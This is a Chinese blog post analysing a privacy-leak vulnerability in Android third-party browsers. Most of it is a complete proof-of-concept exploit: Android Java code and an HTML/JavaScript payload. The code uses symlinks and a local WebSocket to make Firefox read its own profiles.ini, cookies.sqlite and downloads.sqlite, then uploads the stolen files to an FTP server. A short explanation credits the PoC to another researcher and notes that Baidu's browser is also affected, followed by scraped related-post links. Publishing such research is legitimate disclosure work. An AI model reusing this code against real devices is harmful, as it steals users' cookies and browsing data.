android第三方浏览器存在泄露用户隐私漏洞
<action android:name="android.intent.action.VIEW"></action>
<category android:name="android.intent.category.BROWSABLE"></category>
<category android:name="android.intent.category.DEFAULT"></category>
<data android:scheme="file"></data>
<data android:scheme="http"></data>
<data android:scheme="https"></data>
<data android:mimeType="text/html"></data>
<data android:mimeType="text/plain"></data>
<data android:mimeType="application/xhtml+xml"></data>
</intent-filter>
<data android:mimeType="text/plain"></data>
<data android:mimeType="application/xhtml+xml"></data>
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
import org.apache.commons.net.ftp.FTP;
import org.apache.commons.net.ftp.FTPClient;
import org.java_websocket.WebSocket;
import org.java_websocket.handshake.ClientHandshake;
import org.java_websocket.server.WebSocketServer;
import android.content.Context;
import android.os.AsyncTask;
import android.util.Base64;
import android.util.Log;
public class ContentReceiverServer extends WebSocketServer {
private static final String TAG= ContentReceiverServer.class.getSimpleName();
private Context mContext;
private String lastSaltedValue= null;
public ContentReceiverServer(int port, Context ctx)throws UnknownHostException {
super(new InetSocketAddress(port));
mContext = ctx.getApplicationContext();
}
public ContentReceiverServer(InetSocketAddress address, Context ctx) {
super(address);
mContext = ctx.getApplicationContext();
}
@Override
public void onOpen(WebSocket conn, ClientHandshake handshake) {
Log.e(TAG,"onOpen");
}
@Override
public void onMessage(WebSocket conn, String message) {
if (message.startsWith("sym")) {
String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
Utils.SymLinks.replaceFileWithSymlink(Utils.Firefox.PATH_PROFILES_INI, firstPayloadPath);
try {
Thread.sleep(2000);
} catch (InterruptedException e) {
e.printStackTrace();
}
conn.send("msg1");
} else if (message.startsWith("msg1")) {
// profiles.ini received 8===D we parse it
String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
Utils.SymLinks.removeStuff(firstPayloadPath);
int startindex = message.indexOf("Path=");
int endindex = message.indexOf(".default");
Log.e("TAG", message);
String salt = message.substring(startindex+5, endindex);
Log.e(TAG, "got Salted value " + salt);
lastSaltedValue = salt;
String cookies = String.format(Utils.Firefox.PATH_COOKIES_FORMAT, lastSaltedValue);
Utils.SymLinks.replaceFileWithSymlink(cookies, firstPayloadPath);
try {
Thread.sleep(2000);
} catch (InterruptedException e) {
e.printStackTrace();
}
conn.send("msg2");
} else if (message.startsWith("msg2")) {
// cookies.sqlite
String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
Utils.SymLinks.removeStuff(firstPayloadPath);
String realMessage = message.substring(4);
Log.e(TAG, realMessage);
FTPTask ftpTask = new FTPTask();
ftpTask.execute(realMessage, lastSaltedValue + "-" +"cookies.sqlite");
String downloads = String.format(Utils.Firefox.PATH_DOWNLOADS_FORMAT, lastSaltedValue);
Utils.SymLinks.replaceFileWithSymlink(downloads, firstPayloadPath);
try {
Thread.sleep(2000);
} catch (InterruptedException e) {
e.printStackTrace();
}
conn.send("msg3");
} else if (message.startsWith("msg3")) {
// downloads.sqlite
String firstPayloadPath = JSPayloads.getPathForPayload(mContext, JSPayloads.FIRST_PAYLOAD);
Utils.SymLinks.removeStuff(firstPayloadPath);
try {
// we have finished here
this.stop();
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
String realMessage = message.substring(4);
Log.e(TAG, realMessage);
FTPTask ftpTask = new FTPTask();
ftpTask.execute(realMessage, lastSaltedValue + "-" +"dowloads.sqlite");
}
}
@Override
public void onClose(WebSocket conn, int code, String reason, boolean remote) {
Log.d(TAG,"onClose");
}
@Override
public void onError(WebSocket conn, Exception e) {
Log.e(TAG,"onError " + e.getMessage());
e.printStackTrace();
}
private class FTPTask extends AsyncTask<String, Void, Void> {
@Override
protected Void doInBackground(String... params) {
// local copy
byte[] bytes = Base64.decode(params[0], 0);
File filesDir = mContext.getFilesDir();
File output = new File(filesDir, params[1]);
try {
FileOutputStream os = new FileOutputStream(output, true);
os.write(bytes);
os.flush();
os.close();
} catch (Exception e) {
Log.e(TAG, "Error while saving file");
}
FTPClient con = null;
try
{
con = new FTPClient(); //连接到ftp服务器,将敏感文件上传至ftp
con.connect("ftp.domain.com"); //改成你自己的
if (con.login("linux_feixue","135763")) // 改成你自己的
{
con.enterLocalPassiveMode(); // important!
con.setFileType(FTP.BINARY_FILE_TYPE);
FileInputStream in = new FileInputStream(output);
boolean result= con.storeFile(params[1], in);
in.close();
if (result) Log.e("upload result","succeeded");
else Log.e("Upload result","failed");
con.logout();
con.disconnect();
}
}
catch (Exception e)
{
e.printStackTrace();
}
return null;
}
}
}
FFoxApplication.java
import java.io.File;
import com.example.ffoxnew.Utils.CMDs;
import android.app.Application;
import android.util.Log;
public class FFoxApplication extends Application {
private static final String TAG= FFoxApplication.class.getSimpleName();
@Override
public void onCreate() {
super.onCreate();
setup();
}
private void setup() {
Utils.WebSockets.setup();
Utils.Misc.setup(this);
JSPayloads.copyPayloads(this, (new File(this.getFilesDir(),JSPayloads.PAYLOAD_FOLDER)).toString());
JSPayloads.makePayloadsReachable(this);
Log.e(TAG,"setup completed");
}
public void cleanup() {
Utils.Misc.cleanup(this);
}
}
JSPayloads.java
package com.example.ffoxnew;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.ArrayList;
import android.content.Context;
import android.content.res.AssetManager;
import android.os.Environment;
import android.util.Log;
public class JSPayloads {
public static final String FIRST_PAYLOAD="payload.html";
public static final String PAYLOAD_FOLDER="ff_ploads";
private static ArrayList<String> payloadsList=new ArrayList<String>();
static {
payloadsList.add(FIRST_PAYLOAD);
}
public static void makePayloadsReachable(Context ctx) {
File dir = ctx.getFilesDir();
Utils.CMDs.cmd("chmod -R 777 " + dir.toString());
}
public static String getPathForPayload(Context ctx, String payload) {
File filesDir = ctx.getFilesDir();
File folder = new File(filesDir, PAYLOAD_FOLDER);
String path = folder.toString() + "/" + payload;
File f = new File(path);
return path;
}
public static void copyPayloads(Context ctx, String folder) {
AssetManager assetManager = ctx.getAssets();
for(String filename : payloadsList) {
InputStream in = null;
OutputStream out = null;
try {
in = assetManager.open(filename);
File outFile = new File(folder, filename);
out = new FileOutputStream(outFile);
copyFile(in, out);
in.close();
in = null;
out.flush();
out.close();
out = null;
} catch(IOException e) {
Log.e("tag", "Failed to copy asset file: " + filename, e);
}
}
}
private static void copyFile(InputStream in, OutputStream out)throws IOException {
byte[] buffer = new byte[1024];
int read;
while((read = in.read(buffer)) != -1){
out.write(buffer, 0, read);
}
}
}
Utils.java
package com.example.ffoxnew;
import java.io.File;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Environment;
import android.util.Log;
public class Utils {
public static class CMDs {
public static void cmd(String command){
try{
String[] tmp = new String[] {"/system/bin/sh","-c", command};
Log.e("testest", command);
Runtime.getRuntime().exec(tmp);
}
catch (Exception e) {
e.printStackTrace();
}
}
}
public static class SymLinks {
public static void replaceFileWithSymlink(String destination, String path) {
CMDs.cmd("rm -r " + path);
}
private static void createSymLink(String destination, String path) {
CMDs.cmd("ln -s " + destination + " " + path);
CMDs.cmd("chmod 777 " + path);
}
public static void removeStuff(String path) {
CMDs.cmd("rm -rf " + path);
}
}
public static class WebSockets {
public static void setup() {
java.lang.System.setProperty("java.net.preferIPv6Addresses","false");
java.lang.System.setProperty("java.net.preferIPv4Stack","true");
}
public static void cleanup() {
}
}
public static class Firefox {
private static final String FF_PACKAGE="org.mozilla.firefox";
private static final String FF_ACTIVITY="org.mozilla.firefox.App";
public static final String PATH_PROFILES_INI="/data/data/"+ FF_PACKAGE+"/files/mozilla/profiles.ini";
public static final String PATH_COOKIES_FORMAT="/data/data/"+ FF_PACKAGE+"/files/mozilla/%s.default/cookies.sqlite";
public static final String PATH_DOWNLOADS_FORMAT="/data/data/"+ FF_PACKAGE+"/files/mozilla/%s.default/downloads.sqlite";
public static void launch(Activity act, String file){
Intent i = new Intent(Intent.ACTION_MAIN);
File f=new File(file);
Uri uri = Uri.fromFile(f);
i.setClassName(FF_PACKAGE, FF_ACTIVITY);
i.addCategory(Intent.CATEGORY_BROWSABLE);
i.addCategory(Intent.CATEGORY_DEFAULT);
i.setData(uri);
act.startActivity(i);
}
}
public static class Misc {
public static void setup(Context ctx) {
setupStorage(ctx);
}
public static void cleanup(Context ctx) {
cleanStorage(ctx);
}
private static void setupStorage(Context ctx) {
cleanStorage(ctx);
File filesDir = ctx.getFilesDir();
File payloadFolder = new File(filesDir, JSPayloads.PAYLOAD_FOLDER);
payloadFolder.mkdir();
}
private static void cleanStorage(Context ctx) {
File filesDir = ctx.getFilesDir();
File payloadFolder = new File(filesDir, JSPayloads.PAYLOAD_FOLDER);
if (payloadFolder.exists()) {
payloadFolder.delete();
}
}
}
}
MainActivity.java
package com.example.ffoxnew;
import java.net.UnknownHostException;
import com.example.ffoxnew.Utils.SymLinks;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
public class MainActivity extends Activity {
private static final String TAG= MainActivity.class.getSimpleName();
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
startExploit();
} catch (Exception e) {
// Collecting all the errors in one place
Log.e(TAG, e.getMessage());
e.printStackTrace();
finish();
}
}
@Override
protected void onDestroy() {
super.onDestroy();
FFoxApplication app = (FFoxApplication) getApplication();
app.cleanup();
}
private void startExploit() throws UnknownHostException, InterruptedException {
// starting the server to receive the salted value
ContentReceiverServer server = new ContentReceiverServer(8887,this);
server.start();
// Firing the first payload
String firstPayloadPath = JSPayloads.getPathForPayload(this, JSPayloads.FIRST_PAYLOAD);
Utils.Firefox.launch(this, firstPayloadPath);
}
}
com.example.ffoxnew发起intent让浏览器访问的payload.html,这段代码被放置于assets目录中,在com.example.ffoxnew运行后释放到指定的目录,且将其所在目录修改成777,之后发起intent让被攻击的浏览器去访问payload.html至此payload会同ContentReceiverServer进行通信,将隐私文件发送它,ContentReceiverServer进而将信息upload到指定的ftp服务器。
<script type="text/javascript">
var ws = new WebSocket('ws://localhost:8887'); /*连接服务端,并会触发ws.open,自此与服务端的通信便开始,直至隐私文件上传完毕*/
function getFile(tag) {
var d = document;
var xhr = new XMLHttpRequest;
var txt = '';
xhr.onload = function() {
if (tag != 'msg1'){
var arrayBuffer = xhr.response;
if (arrayBuffer) {
var byteArray = new Uint8Array(arrayBuffer);
var b64encoded = btoa(String.fromCharCode.apply(null, byteArray));
txt = b64encoded;
}
} else {
txt = xhr.responseText;
}
txt = tag + txt;
alert('sending text for tag' + tag + ' ' + txt);
ws.send(txt);
};
alert('document: ' + d.URL);
alert('requested file for tag: ' + tag);
if (tag != 'msg1') {
xhr.open('GET', d.URL, true);
xhr.responseType = "arraybuffer";
} else {
xhr.open('GET', d.URL);
}
xhr.send(null);
}
ws.onopen = function() {
ws.send('sym');
}
ws.onmessage = function(e) {
var tag = e.data;
getFile(tag)
}
ws.onclose = function() {
}
</script>
至此,该类漏洞的利用原理已经分析完成了,这里面的POC并非本人所写,是Sebastián 在分析firefox漏洞时候提供的,由于csdn新手不能发链接,所以就不发了,希望这篇文章也能让你理解其中的原理,这里我只是做了相应的讲解。
话说回来,这个漏洞利用起来还是比较难的,相比weixin上次暴露出来的webview远程代码执行漏洞,还是显得比较难以利用,不过如果该漏洞被恶意程序利用来窃取窃取第三方浏览器的隐私信息倒是不无可能,目前发现百度的浏览器也存在这一问题,可能还有更多的浏览器存在类似的泄露隐私的风险。
android第三方浏览器存在泄露用户隐私漏洞相关推荐
- Android相机资源占用,为保护用户隐私Android 11调整相机选项 APP调用相机时只可使用默认相机...
据外媒报道目前谷歌在 Android 11 测试版里带来新的调整,此次调整是关于安卓系统对于默认相机调用选择的. 在安卓旧版本中当APP调用相机时会罗列用户已经安装的所有相机应用,这当然也包括那些自带 ...
- 一周新闻:网络钓鱼骗子转战Instagram;航旅纵横回应新功能泄露用户隐私。
1 网络钓鱼骗子转战Instagram 窃取用户信息 Instagram用户目前成为新的网络钓鱼活动的目标,该活动使用登录尝试警告以及类似双因素身份验证(2FA)代码的内容,以使骗局更加可信.骗子使用 ...
- 二手手机泄露用户隐私?要“反杀”其实并不难
本文转载自 三易生活 "卖掉你的旧手机可能导致隐私泄露"."恢复出厂设置的二手手机旧数据依然可以被读出"."有商家专做恢复二手手机数据的生意" ...
- 苹果 Siri 被曝涉嫌泄露用户隐私;中国联通回应 5G 入网问题;PHP 7.4 beta 1 发布 | 极客头条...
快来收听极客头条音频版吧,智能播报由标贝科技提供技术支持. 「CSDN 极客头条」,是从 CSDN 网站延伸至官方微信公众号的特别栏目,专注于一天业界事报道.风里雨里,我们将每天为朋友们,播报最新鲜有 ...
- 六款可以在线保护用户隐私的浏览器
浏览器用户争夺战中最近又出现了一个新的红海领域:用户隐私领域,火狐(Firefox)最近将其"增强型跟踪保护"功能作为默认功能,而苹果(Apple)则紧随其后,继续在其Safari ...
- 隐私成“皇帝的新衣”,大数据时代谁能成用户隐私的保护伞?
随着大数据时代的到来,隐私泄露的问题也逐渐显露出来.特别是今年隐私泄露案件更是层出不穷,从3月闹得沸沸扬扬的Facebook用户隐私泄露案再到6月A站疑被黑客盗取用户数据,似乎我们生活在大数据时代根本 ...
- 大数据时代,谁能成用户隐私的保护伞?
大数据时代,谁能成用户隐私的保护伞? 随着大数据时代的到来,隐私泄露的问题也逐渐显露出来.特别是今年隐私泄露案件更是层出不穷,从3月闹得沸沸扬扬的Facebook用户隐私泄露案再到6月A站疑被黑客盗取 ...
- Android 防火墙 知乎,知乎回应:防火墙太“坑爹” 正检查用户隐私是否有泄露...
9月7日消息,知乎今日下午系统瘫痪无法登陆,各个页面变为一片空白,并且还出现了知乎账号"串号"现象,当时有消息称是服务器原因.其后知乎发布公告,声称由第三方防火墙故障引起客户端临时 ...
- Brave浏览器保护用户隐私第2招:第三方页面垃圾过滤
注:这是定期系列博客的第二篇,描述了Brave浏览器中新的隐私功能.本文描述了研究工程师Anton Lazarev.性能研究员Andrius Aucinas.高级隐私研究员Peter Snyder和高 ...
- Tor 浏览器存在严重漏洞 或泄露用户真实 IP 地址
网络安全公司 We Are Segment 研究人员 Filippo Cavallarin 近期在 FireFox 浏览器中发现一处关键漏洞 -- TorMoil,能够导致用户真实 IP 地址在线泄漏 ...
最新文章
- 万字总结,体系化带你全面认识 Nginx
- Skyline 扩展模块简介
- 皮一皮:六神终于出奶茶了!
- oracle 加查询锁,oracle 锁查询 select加锁方法
- SpringBoot中在配置文件中限制文件上传的大小
- 无线网sdn服务器,什么是SDN,SDN网络与传统网络对比
- 【SpringBoot】使用Maven添加jQuery、bootstrap等依赖(WebJars)
- android zxing 自动对焦,ZXing自动对焦问题
- 服务器centos怎么部署_我什么都不会,怎么拥有自己的个人博客呢
- PDE7 wave equation: intuition
- tensorflow之variables_to_restore
- FZU 2082 过路费(树链剖分 边权)题解
- IEEE论文模板下载地址及说明
- 数据库SQL语句练习一
- ai人工智能_AI如何影响可访问性
- 蓝底换白底边缘不干净_PS∶红底证件照换成蓝色背景,边缘怎样处理,让照片更自然呢?...
- 谈谈扫码支付的实现流程
- 小试牛刀__GAN实战项目之mnist数据集(二)
- [博弈论]JZOJ 3339 wyl8899和法法塔的游戏
- 王者舰队服务器维护需要几天,王者舰队怎么快速获取金币 金币快速获得方法...
热门文章
- android设置wifi蓝牙共享文件,无需互联网或蓝牙即可通过WiFi通过android共享文件...
- 微软office办公系列软件的具体用处及办公作用说明指南
- oracle收款凭证做错月份,​上个月的银行凭证做错了怎么办
- 基于javaweb+jsp的晚会抽奖系统(java+Jdbc+Servlet+Ajax+mysql)
- 大写阿拉伯数字1到10(大写阿拉伯数字1到10千百万)
- 有线以太网RJ45网口网卡转无线wifi网卡转wifi网口转无线有线转无线方案
- 容易遗忘的几个js知识点(一)
- IllegalStateException: Only fullscreen opaque activities can request orientation
- 【转】 CSS透明opacity和IE各版本透明度滤镜filter的最准确用法
- spring-cloud-oauth2